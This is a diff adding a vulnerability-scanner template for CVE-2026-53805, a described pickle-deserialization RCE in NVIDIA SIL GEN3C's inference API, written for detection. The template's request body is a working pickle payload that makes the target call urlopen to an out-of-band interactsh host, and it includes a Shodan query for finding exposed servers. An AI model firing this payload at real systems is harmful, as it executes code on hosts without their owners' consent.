Add template for CVE-2026-53805 (NVIDIA SIL GEN3C Unauthenticated RCE)

http/cves/2026/CVE-2026-53805.yaml

@@ -0,0 +1,55 @@
+id: CVE-2026-53805
+
+info:
+  name: NVIDIA SIL GEN3C Inference API - Unauthenticated Remote Code Execution
+  author: Abdullah Shahid (comradezephyr)
+  severity: critical
+  description: |
+    NVIDIA Spatial Intelligence Lab (SIL) GEN3C contains an unauthenticated remote code execution vulnerability in the inference API server. The /request-inference and /seed-model endpoints deserialize raw HTTP request bodies using Python's pickle.loads() without authentication or input validation. An attacker can supply a crafted payload to achieve remote code execution.
+  impact: |
+    Unauthenticated remote attackers can execute arbitrary code on affected GEN3C hosts, achieving full control of the inference process and potentially the underlying system.
+  remediation: |
+    Apply the patch commit db2ffe12ced12ddafcec5e0422ee46ce8520746b or upgrade to the patched release.
+  reference:
+    - https://github.com/nv-tlabs/GEN3C/pull/62
+    - https://github.com/nv-tlabs/GEN3C/pull/63
+    - https://github.com/nv-tlabs/GEN3C/commit/db2ffe12ced12ddafcec5e0422ee46ce8520746b
+    - https://www.vulncheck.com/advisories/nvidia-sil-gen3c-unauthenticated-rce-via-pickle-deserialization-in-inference-api
+    - https://www.vulncheck.com/blog/nvidia-gen3c-unauth-pickle-rce
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-53805
+    - https://cveawg.mitre.org/api/cve/CVE-2026-53805
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2026-53805
+    cwe-id: CWE-502
+  metadata:
+    verified: false
+    max-request: 2
+    vendor: nvidia
+    product: gen3c
+    shodan-query: 'http.title:"GEN3C"'
+  tags: cve,cve2026,nvidia,gen3c,rce,deserialization,unauth,oob
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/request-inference"
+      - "{{BaseURL}}/seed-model"
+
+    headers:
+      Content-Type: application/octet-stream
+
+    body: |
+      curllib.request
+      urlopen
+      (Vhttp://{{interactsh-url}}
+      tR.
+
+    stop-at-first-match: true
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+          - "dns"